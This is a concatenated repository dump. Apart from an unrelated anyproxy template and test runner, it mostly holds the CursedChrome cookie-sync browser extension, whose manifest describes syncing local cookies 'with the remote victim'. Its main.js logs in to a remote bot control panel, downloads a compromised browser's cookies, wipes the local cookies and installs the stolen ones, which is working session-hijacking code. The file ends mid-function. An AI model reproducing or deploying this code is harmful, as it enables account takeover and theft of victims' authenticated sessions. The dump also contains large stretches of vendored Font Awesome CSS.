4 | title Security Vulnerable
5 | style.
6 | body {
7 | color: #666;
8 | line-height: 1.5;
9 | font-size: 13px;
10 | font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Helvetica,PingFang SC,Hiragino Sans GB,Microsoft YaHei,SimSun,sans-serif;
11 | }
12 |
13 | body * {
14 | box-sizing: border-box;
15 | }
16 |
17 | .container {
18 | max-width: 1200px;
19 | padding: 20px;
20 | padding-top: 150px;
21 | margin: 0 auto;
22 | }
23 |
24 | .title {
25 | font-size: 20px;
26 | margin-bottom: 20px;
27 | }
28 |
29 | .explain {
30 | font-size: 14px;
31 | font-weight: 200;
32 | color: #666;
33 | }
34 |
35 | .explainCode {
36 | color: #999;
37 | margin-bottom: 10px;
38 | }
39 | body
40 | .container
41 | div.title
42 | | #{title}
43 | div.explainCode
44 | | #{code}
45 | div.explain
46 | div!= explain
47 |
--------------------------------------------------------------------------------
/anyproxy/test.js:
--------------------------------------------------------------------------------
1 | const Jasmine = require('jasmine');
2 |
3 | const jasmine = new Jasmine();
4 | const util = require('./lib/util');
5 | const path = require('path');
6 |
7 | const testTmpPath = path.join(__dirname, './test/temp');
8 | const configFilePath = path.join(__dirname, './test/jasmine.json');
9 | // rm - rf./test / temp /
10 | util.deleteFolderContentsRecursive(testTmpPath);
11 |
12 | jasmine.loadConfigFile(configFilePath);
13 | jasmine.configureDefaultReporter({
14 | showColors: false
15 | });
16 | jasmine.execute();
17 |
--------------------------------------------------------------------------------
/cookie-sync-extension/icons/icon128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/icons/icon128.png
--------------------------------------------------------------------------------
/cookie-sync-extension/icons/icon16.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/icons/icon16.png
--------------------------------------------------------------------------------
/cookie-sync-extension/icons/icon48.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/cookie-sync-extension/icons/icon48.png
--------------------------------------------------------------------------------
/cookie-sync-extension/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "CursedChrome Cookie Sync Extension",
3 | "version": "0.0.1",
4 | "manifest_version": 2,
5 | "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
6 | "description": "Keeps your local browser cookies in sync with the remote victim.",
7 | "homepage_url": "https://github.com/mandatoryprogrammer/CursedChrome",
8 | "icons": {
9 | "16": "icons/icon16.png",
10 | "48": "icons/icon48.png",
11 | "128": "icons/icon128.png"
12 | },
13 | "browser_action": {
14 | "default_icon": "icons/icon48.png",
15 | "default_title": "Cookie Sync settings and credential entry.",
16 | "default_popup": "src/browser_action/browser_action.html"
17 | },
18 | "permissions": [
19 | "cookies",
20 | ""
21 | ]
22 | }
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/browser_action.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
13 |
14 |
15 |
16 |
17 |
18 |
24 |
25 |
26 |
Extension Configuration
27 |
28 | {{config_message}}
29 |
30 |
31 |
37 |
43 |
49 |
50 |
51 |
52 |
55 |
56 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/css/brands.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com
3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
4 | */
5 | @font-face {
6 | font-family: 'Font Awesome 5 Brands';
7 | font-style: normal;
8 | font-weight: 400;
9 | font-display: block;
10 | src: url("../webfonts/fa-brands-400.eot");
11 | src: url("../webfonts/fa-brands-400.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-brands-400.woff2") format("woff2"), url("../webfonts/fa-brands-400.woff") format("woff"), url("../webfonts/fa-brands-400.ttf") format("truetype"), url("../webfonts/fa-brands-400.svg#fontawesome") format("svg"); }
12 |
13 | .fab {
14 | font-family: 'Font Awesome 5 Brands';
15 | font-weight: 400; }
16 |
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/css/brands.min.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com
3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
4 | */
5 | @font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-brands-400.eot);src:url(../webfonts/fa-brands-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.woff) format("woff"),url(../webfonts/fa-brands-400.ttf) format("truetype"),url(../webfonts/fa-brands-400.svg#fontawesome) format("svg")}.fab{font-family:"Font Awesome 5 Brands";font-weight:400}
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/css/regular.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com
3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
4 | */
5 | @font-face {
6 | font-family: 'Font Awesome 5 Free';
7 | font-style: normal;
8 | font-weight: 400;
9 | font-display: block;
10 | src: url("../webfonts/fa-regular-400.eot");
11 | src: url("../webfonts/fa-regular-400.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-regular-400.woff2") format("woff2"), url("../webfonts/fa-regular-400.woff") format("woff"), url("../webfonts/fa-regular-400.ttf") format("truetype"), url("../webfonts/fa-regular-400.svg#fontawesome") format("svg"); }
12 |
13 | .far {
14 | font-family: 'Font Awesome 5 Free';
15 | font-weight: 400; }
16 |
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/css/regular.min.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com
3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
4 | */
5 | @font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-regular-400.eot);src:url(../webfonts/fa-regular-400.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.woff) format("woff"),url(../webfonts/fa-regular-400.ttf) format("truetype"),url(../webfonts/fa-regular-400.svg#fontawesome) format("svg")}.far{font-family:"Font Awesome 5 Free";font-weight:400}
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/css/solid.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com
3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
4 | */
5 | @font-face {
6 | font-family: 'Font Awesome 5 Free';
7 | font-style: normal;
8 | font-weight: 900;
9 | font-display: block;
10 | src: url("../webfonts/fa-solid-900.eot");
11 | src: url("../webfonts/fa-solid-900.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-solid-900.woff2") format("woff2"), url("../webfonts/fa-solid-900.woff") format("woff"), url("../webfonts/fa-solid-900.ttf") format("truetype"), url("../webfonts/fa-solid-900.svg#fontawesome") format("svg"); }
12 |
13 | .fa,
14 | .fas {
15 | font-family: 'Font Awesome 5 Free';
16 | font-weight: 900; }
17 |
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/css/solid.min.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com
3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
4 | */
5 | @font-face{font-family:"Font Awesome 5 Free";font-style:normal;font-weight:900;font-display:block;src:url(../webfonts/fa-solid-900.eot);src:url(../webfonts/fa-solid-900.eot?#iefix) format("embedded-opentype"),url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.woff) format("woff"),url(../webfonts/fa-solid-900.ttf) format("truetype"),url(../webfonts/fa-solid-900.svg#fontawesome) format("svg")}.fa,.fas{font-family:"Font Awesome 5 Free";font-weight:900}
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/css/svg-with-js.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com
3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
4 | */
5 | svg:not(:root).svg-inline--fa {
6 | overflow: visible; }
7 |
8 | .svg-inline--fa {
9 | display: inline-block;
10 | font-size: inherit;
11 | height: 1em;
12 | overflow: visible;
13 | vertical-align: -.125em; }
14 | .svg-inline--fa.fa-lg {
15 | vertical-align: -.225em; }
16 | .svg-inline--fa.fa-w-1 {
17 | width: 0.0625em; }
18 | .svg-inline--fa.fa-w-2 {
19 | width: 0.125em; }
20 | .svg-inline--fa.fa-w-3 {
21 | width: 0.1875em; }
22 | .svg-inline--fa.fa-w-4 {
23 | width: 0.25em; }
24 | .svg-inline--fa.fa-w-5 {
25 | width: 0.3125em; }
26 | .svg-inline--fa.fa-w-6 {
27 | width: 0.375em; }
28 | .svg-inline--fa.fa-w-7 {
29 | width: 0.4375em; }
30 | .svg-inline--fa.fa-w-8 {
31 | width: 0.5em; }
32 | .svg-inline--fa.fa-w-9 {
33 | width: 0.5625em; }
34 | .svg-inline--fa.fa-w-10 {
35 | width: 0.625em; }
36 | .svg-inline--fa.fa-w-11 {
37 | width: 0.6875em; }
38 | .svg-inline--fa.fa-w-12 {
39 | width: 0.75em; }
40 | .svg-inline--fa.fa-w-13 {
41 | width: 0.8125em; }
42 | .svg-inline--fa.fa-w-14 {
43 | width: 0.875em; }
44 | .svg-inline--fa.fa-w-15 {
45 | width: 0.9375em; }
46 | .svg-inline--fa.fa-w-16 {
47 | width: 1em; }
48 | .svg-inline--fa.fa-w-17 {
49 | width: 1.0625em; }
50 | .svg-inline--fa.fa-w-18 {
51 | width: 1.125em; }
52 | .svg-inline--fa.fa-w-19 {
53 | width: 1.1875em; }
54 | .svg-inline--fa.fa-w-20 {
55 | width: 1.25em; }
56 | .svg-inline--fa.fa-pull-left {
57 | margin-right: .3em;
58 | width: auto; }
59 | .svg-inline--fa.fa-pull-right {
60 | margin-left: .3em;
61 | width: auto; }
62 | .svg-inline--fa.fa-border {
63 | height: 1.5em; }
64 | .svg-inline--fa.fa-li {
65 | width: 2em; }
66 | .svg-inline--fa.fa-fw {
67 | width: 1.25em; }
68 |
69 | .fa-layers svg.svg-inline--fa {
70 | bottom: 0;
71 | left: 0;
72 | margin: auto;
73 | position: absolute;
74 | right: 0;
75 | top: 0; }
76 |
77 | .fa-layers {
78 | display: inline-block;
79 | height: 1em;
80 | position: relative;
81 | text-align: center;
82 | vertical-align: -.125em;
83 | width: 1em; }
84 | .fa-layers svg.svg-inline--fa {
85 | -webkit-transform-origin: center center;
86 | transform-origin: center center; }
87 |
88 | .fa-layers-text, .fa-layers-counter {
89 | display: inline-block;
90 | position: absolute;
91 | text-align: center; }
92 |
93 | .fa-layers-text {
94 | left: 50%;
95 | top: 50%;
96 | -webkit-transform: translate(-50%, -50%);
97 | transform: translate(-50%, -50%);
98 | -webkit-transform-origin: center center;
99 | transform-origin: center center; }
100 |
101 | .fa-layers-counter {
102 | background-color: #ff253a;
103 | border-radius: 1em;
104 | -webkit-box-sizing: border-box;
105 | box-sizing: border-box;
106 | color: #fff;
107 | height: 1.5em;
108 | line-height: 1;
109 | max-width: 5em;
110 | min-width: 1.5em;
111 | overflow: hidden;
112 | padding: .25em;
113 | right: 0;
114 | text-overflow: ellipsis;
115 | top: 0;
116 | -webkit-transform: scale(0.25);
117 | transform: scale(0.25);
118 | -webkit-transform-origin: top right;
119 | transform-origin: top right; }
120 |
121 | .fa-layers-bottom-right {
122 | bottom: 0;
123 | right: 0;
124 | top: auto;
125 | -webkit-transform: scale(0.25);
126 | transform: scale(0.25);
127 | -webkit-transform-origin: bottom right;
128 | transform-origin: bottom right; }
129 |
130 | .fa-layers-bottom-left {
131 | bottom: 0;
132 | left: 0;
133 | right: auto;
134 | top: auto;
135 | -webkit-transform: scale(0.25);
136 | transform: scale(0.25);
137 | -webkit-transform-origin: bottom left;
138 | transform-origin: bottom left; }
139 |
140 | .fa-layers-top-right {
141 | right: 0;
142 | top: 0;
143 | -webkit-transform: scale(0.25);
144 | transform: scale(0.25);
145 | -webkit-transform-origin: top right;
146 | transform-origin: top right; }
147 |
148 | .fa-layers-top-left {
149 | left: 0;
150 | right: auto;
151 | top: 0;
152 | -webkit-transform: scale(0.25);
153 | transform: scale(0.25);
154 | -webkit-transform-origin: top left;
155 | transform-origin: top left; }
156 |
157 | .fa-lg {
158 | font-size: 1.33333em;
159 | line-height: 0.75em;
160 | vertical-align: -.0667em; }
161 |
162 | .fa-xs {
163 | font-size: .75em; }
164 |
165 | .fa-sm {
166 | font-size: .875em; }
167 |
168 | .fa-1x {
169 | font-size: 1em; }
170 |
171 | .fa-2x {
172 | font-size: 2em; }
173 |
174 | .fa-3x {
175 | font-size: 3em; }
176 |
177 | .fa-4x {
178 | font-size: 4em; }
179 |
180 | .fa-5x {
181 | font-size: 5em; }
182 |
183 | .fa-6x {
184 | font-size: 6em; }
185 |
186 | .fa-7x {
187 | font-size: 7em; }
188 |
189 | .fa-8x {
190 | font-size: 8em; }
191 |
192 | .fa-9x {
193 | font-size: 9em; }
194 |
195 | .fa-10x {
196 | font-size: 10em; }
197 |
198 | .fa-fw {
199 | text-align: center;
200 | width: 1.25em; }
201 |
202 | .fa-ul {
203 | list-style-type: none;
204 | margin-left: 2.5em;
205 | padding-left: 0; }
206 | .fa-ul > li {
207 | position: relative; }
208 |
209 | .fa-li {
210 | left: -2em;
211 | position: absolute;
212 | text-align: center;
213 | width: 2em;
214 | line-height: inherit; }
215 |
216 | .fa-border {
217 | border: solid 0.08em #eee;
218 | border-radius: .1em;
219 | padding: .2em .25em .15em; }
220 |
221 | .fa-pull-left {
222 | float: left; }
223 |
224 | .fa-pull-right {
225 | float: right; }
226 |
227 | .fa.fa-pull-left,
228 | .fas.fa-pull-left,
229 | .far.fa-pull-left,
230 | .fal.fa-pull-left,
231 | .fab.fa-pull-left {
232 | margin-right: .3em; }
233 |
234 | .fa.fa-pull-right,
235 | .fas.fa-pull-right,
236 | .far.fa-pull-right,
237 | .fal.fa-pull-right,
238 | .fab.fa-pull-right {
239 | margin-left: .3em; }
240 |
241 | .fa-spin {
242 | -webkit-animation: fa-spin 2s infinite linear;
243 | animation: fa-spin 2s infinite linear; }
244 |
245 | .fa-pulse {
246 | -webkit-animation: fa-spin 1s infinite steps(8);
247 | animation: fa-spin 1s infinite steps(8); }
248 |
249 | @-webkit-keyframes fa-spin {
250 | 0% {
251 | -webkit-transform: rotate(0deg);
252 | transform: rotate(0deg); }
253 | 100% {
254 | -webkit-transform: rotate(360deg);
255 | transform: rotate(360deg); } }
256 |
257 | @keyframes fa-spin {
258 | 0% {
259 | -webkit-transform: rotate(0deg);
260 | transform: rotate(0deg); }
261 | 100% {
262 | -webkit-transform: rotate(360deg);
263 | transform: rotate(360deg); } }
264 |
265 | .fa-rotate-90 {
266 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";
267 | -webkit-transform: rotate(90deg);
268 | transform: rotate(90deg); }
269 |
270 | .fa-rotate-180 {
271 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";
272 | -webkit-transform: rotate(180deg);
273 | transform: rotate(180deg); }
274 |
275 | .fa-rotate-270 {
276 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";
277 | -webkit-transform: rotate(270deg);
278 | transform: rotate(270deg); }
279 |
280 | .fa-flip-horizontal {
281 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";
282 | -webkit-transform: scale(-1, 1);
283 | transform: scale(-1, 1); }
284 |
285 | .fa-flip-vertical {
286 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";
287 | -webkit-transform: scale(1, -1);
288 | transform: scale(1, -1); }
289 |
290 | .fa-flip-both, .fa-flip-horizontal.fa-flip-vertical {
291 | -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";
292 | -webkit-transform: scale(-1, -1);
293 | transform: scale(-1, -1); }
294 |
295 | :root .fa-rotate-90,
296 | :root .fa-rotate-180,
297 | :root .fa-rotate-270,
298 | :root .fa-flip-horizontal,
299 | :root .fa-flip-vertical,
300 | :root .fa-flip-both {
301 | -webkit-filter: none;
302 | filter: none; }
303 |
304 | .fa-stack {
305 | display: inline-block;
306 | height: 2em;
307 | position: relative;
308 | width: 2.5em; }
309 |
310 | .fa-stack-1x,
311 | .fa-stack-2x {
312 | bottom: 0;
313 | left: 0;
314 | margin: auto;
315 | position: absolute;
316 | right: 0;
317 | top: 0; }
318 |
319 | .svg-inline--fa.fa-stack-1x {
320 | height: 1em;
321 | width: 1.25em; }
322 |
323 | .svg-inline--fa.fa-stack-2x {
324 | height: 2em;
325 | width: 2.5em; }
326 |
327 | .fa-inverse {
328 | color: #fff; }
329 |
330 | .sr-only {
331 | border: 0;
332 | clip: rect(0, 0, 0, 0);
333 | height: 1px;
334 | margin: -1px;
335 | overflow: hidden;
336 | padding: 0;
337 | position: absolute;
338 | width: 1px; }
339 |
340 | .sr-only-focusable:active, .sr-only-focusable:focus {
341 | clip: auto;
342 | height: auto;
343 | margin: 0;
344 | overflow: visible;
345 | position: static;
346 | width: auto; }
347 |
348 | .svg-inline--fa .fa-primary {
349 | fill: var(--fa-primary-color, currentColor);
350 | opacity: 1;
351 | opacity: var(--fa-primary-opacity, 1); }
352 |
353 | .svg-inline--fa .fa-secondary {
354 | fill: var(--fa-secondary-color, currentColor);
355 | opacity: 0.4;
356 | opacity: var(--fa-secondary-opacity, 0.4); }
357 |
358 | .svg-inline--fa.fa-swap-opacity .fa-primary {
359 | opacity: 0.4;
360 | opacity: var(--fa-secondary-opacity, 0.4); }
361 |
362 | .svg-inline--fa.fa-swap-opacity .fa-secondary {
363 | opacity: 1;
364 | opacity: var(--fa-primary-opacity, 1); }
365 |
366 | .svg-inline--fa mask .fa-primary,
367 | .svg-inline--fa mask .fa-secondary {
368 | fill: black; }
369 |
370 | .fad.fa-inverse {
371 | color: #fff; }
372 |
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/css/svg-with-js.min.css:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome Free 5.15.1 by @fontawesome - https://fontawesome.com
3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
4 | */
5 | .svg-inline--fa,svg:not(:root).svg-inline--fa{overflow:visible}.svg-inline--fa{display:inline-block;font-size:inherit;height:1em;vertical-align:-.125em}.svg-inline--fa.fa-lg{vertical-align:-.225em}.svg-inline--fa.fa-w-1{width:.0625em}.svg-inline--fa.fa-w-2{width:.125em}.svg-inline--fa.fa-w-3{width:.1875em}.svg-inline--fa.fa-w-4{width:.25em}.svg-inline--fa.fa-w-5{width:.3125em}.svg-inline--fa.fa-w-6{width:.375em}.svg-inline--fa.fa-w-7{width:.4375em}.svg-inline--fa.fa-w-8{width:.5em}.svg-inline--fa.fa-w-9{width:.5625em}.svg-inline--fa.fa-w-10{width:.625em}.svg-inline--fa.fa-w-11{width:.6875em}.svg-inline--fa.fa-w-12{width:.75em}.svg-inline--fa.fa-w-13{width:.8125em}.svg-inline--fa.fa-w-14{width:.875em}.svg-inline--fa.fa-w-15{width:.9375em}.svg-inline--fa.fa-w-16{width:1em}.svg-inline--fa.fa-w-17{width:1.0625em}.svg-inline--fa.fa-w-18{width:1.125em}.svg-inline--fa.fa-w-19{width:1.1875em}.svg-inline--fa.fa-w-20{width:1.25em}.svg-inline--fa.fa-pull-left{margin-right:.3em;width:auto}.svg-inline--fa.fa-pull-right{margin-left:.3em;width:auto}.svg-inline--fa.fa-border{height:1.5em}.svg-inline--fa.fa-li{width:2em}.svg-inline--fa.fa-fw{width:1.25em}.fa-layers svg.svg-inline--fa{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.fa-layers{display:inline-block;height:1em;position:relative;text-align:center;vertical-align:-.125em;width:1em}.fa-layers svg.svg-inline--fa{-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter,.fa-layers-text{display:inline-block;position:absolute;text-align:center}.fa-layers-text{left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);-webkit-transform-origin:center center;transform-origin:center center}.fa-layers-counter{background-color:#ff253a;border-radius:1em;-webkit-box-sizing:border-box;box-sizing:border-box;color:#fff;height:1.5em;line-height:1;max-width:5em;min-width:1.5em;overflow:hidden;padding:.25em;right:0;text-overflow:ellipsis;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-bottom-right{bottom:0;right:0;top:auto;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:bottom right;transform-origin:bottom right}.fa-layers-bottom-left{bottom:0;left:0;right:auto;top:auto;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:bottom left;transform-origin:bottom left}.fa-layers-top-right{right:0;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top right;transform-origin:top right}.fa-layers-top-left{left:0;right:auto;top:0;-webkit-transform:scale(.25);transform:scale(.25);-webkit-transform-origin:top left;transform-origin:top left}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s linear infinite;animation:fa-spin 2s linear infinite}.fa-pulse{-webkit-animation:fa-spin 1s steps(8) infinite;animation:fa-spin 1s steps(8) infinite}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scaleX(-1);transform:scaleX(-1)}.fa-flip-vertical{-webkit-transform:scaleY(-1);transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical,.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1);transform:scale(-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-90,:root .fa-rotate-180,:root .fa-rotate-270{-webkit-filter:none;filter:none}.fa-stack{display:inline-block;height:2em;position:relative;width:2.5em}.fa-stack-1x,.fa-stack-2x{bottom:0;left:0;margin:auto;position:absolute;right:0;top:0}.svg-inline--fa.fa-stack-1x{height:1em;width:1.25em}.svg-inline--fa.fa-stack-2x{height:2em;width:2.5em}.fa-inverse{color:#fff}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}.svg-inline--fa .fa-primary{fill:var(--fa-primary-color,currentColor);opacity:1;opacity:var(--fa-primary-opacity,1)}.svg-inline--fa .fa-secondary{fill:var(--fa-secondary-color,currentColor)}.svg-inline--fa .fa-secondary,.svg-inline--fa.fa-swap-opacity .fa-primary{opacity:.4;opacity:var(--fa-secondary-opacity,.4)}.svg-inline--fa.fa-swap-opacity .fa-secondary{opacity:1;opacity:var(--fa-primary-opacity,1)}.svg-inline--fa mask .fa-primary,.svg-inline--fa mask .fa-secondary{fill:#000}.fad.fa-inverse{color:#fff}
--------------------------------------------------------------------------------
/cookie-sync-extension/src/browser_action/main.js:
--------------------------------------------------------------------------------
1 | toastr.options.closeButton = true;
2 | toastr.options.progressBar = true;
3 |
4 | function clear_cookie(url, name) {
5 | return new Promise(function(resolve, reject) {
6 | try {
7 | chrome.cookies.remove({
8 | url: url,
9 | name: name
10 | }, () => {
11 | resolve();
12 | });
13 | } catch(e) {
14 | reject(e);
15 | }
16 | });
17 | }
18 |
19 | function get_all_cookies() {
20 | return new Promise(function(resolve, reject) {
21 | try {
22 | chrome.cookies.getAll({}, (cookies) => {
23 | resolve(cookies);
24 | });
25 | } catch(e) {
26 | reject(e);
27 | }
28 | });
29 | }
30 |
31 | function get_url_from_cookie_data(cookie_data) {
32 | const protocol = cookie_data.secure ? 'https' : 'http';
33 | var host = cookie_data.domain;
34 | if(host.startsWith('.')) {
35 | host = host.substring(1);
36 | }
37 |
38 | return `${protocol}://${host}${cookie_data.path}`;
39 | }
40 |
41 | const app = new Vue({
42 | el: '#app',
43 | data: {
44 | loading: false,
45 | page: 'config',
46 | config: {
47 | url: '',
48 | username: '',
49 | password: '',
50 | sync_button_disabled: true,
51 | }
52 | },
53 | methods: {
54 | check_login_credentials: async function(event) {
55 | // Save valid config to localStorage
56 | save_bot_config(
57 | this.config.url,
58 | this.config.username,
59 | this.config.password
60 | );
61 |
62 | if (this.config.url === '' || this.config_message !== null) {
63 | return
64 | }
65 |
66 | const url_object = new URL(this.config.url);
67 |
68 | const check_url = `${url_object.origin}/api/v1/verify-proxy-credentials`;
69 |
70 | try {
71 | var response = await api_request(
72 | 'POST',
73 | check_url, {
74 | username: this.config.username,
75 | password: this.config.password,
76 | }
77 | );
78 | this.config.sync_button_disabled = false;
79 | } catch (e) {
80 | this.config.sync_button_disabled = true;
81 | console.error(`Error while trying to check credentials against '${check_url}'`);
82 | console.error(e);
83 | }
84 | },
85 | sync_cookies_to_browser: async function(event) {
86 | const url_object = new URL(this.config.url);
87 | const check_url = `${url_object.origin}/api/v1/get-bot-browser-cookies`;
88 | const response = await api_request(
89 | 'POST',
90 | check_url, {
91 | username: this.config.username,
92 | password: this.config.password,
93 | }
94 | );
95 |
96 | const attrs_to_copy = [
97 | 'domain',
98 | 'expirationDate',
99 | 'httpOnly',
100 | 'name',
101 | 'path',
102 | 'sameSite',
103 | 'secure',
104 | 'value'
105 | ];
106 |
107 | const browser_cookie_array = response.cookies.map(cookie => {
108 | let cookie_data = {};
109 | attrs_to_copy.map(attribute_name => {
110 | // Firefox and Chrome compatibility bullshit
111 | if(attribute_name === 'sameSite' && cookie[attribute_name] === 'unspecified') {
112 | cookie_data[attribute_name] = 'lax';
113 | return
114 | }
115 |
116 | if(attribute_name in cookie) {
117 | cookie_data[attribute_name] = cookie[attribute_name];
118 | }
119 | });
120 |
121 | // For some reason we have to generate this even though
122 | // we already provide a domain, path, and secure param...
123 | const url = get_url_from_cookie_data(cookie_data);
124 | cookie_data.url = url;
125 |
126 | return cookie_data;
127 | });
128 |
129 | // Clear existing cookies
130 | // clear_cookie(url, name)
131 | const existing_cookies = await get_all_cookies();
132 | const cookie_clear_promises = existing_cookies.map(async existing_cookie => {
133 | const url = get_url_from_cookie_data(existing_cookie);
134 | return clear_cookie(url, existing_cookie.name);
135 | });
136 | await Promise.all(cookie_clear_promises);
137 |
138 | browser_cookie_array.map(cookie => {
139 | chrome.cookies.set(cookie, () => {});
140 | });
141 |
142 | toastr.success('Cookies synced successfully.');
143 | }
144 | },
145 | computed: {
146 | config_message: function() {
147 | if (this.config.url === '') {
148 | return null;
149 | }
150 |
151 | if (!this.config.url.startsWith('http://') && !this.config.url.startsWith('https://')) {
152 | this.config.sync_button_disabled = true;
153 | return 'Web Panel URL must start with either http:// or https://';
154 | }
155 |
156 | if (!this.config.username.startsWith('botuser')) {
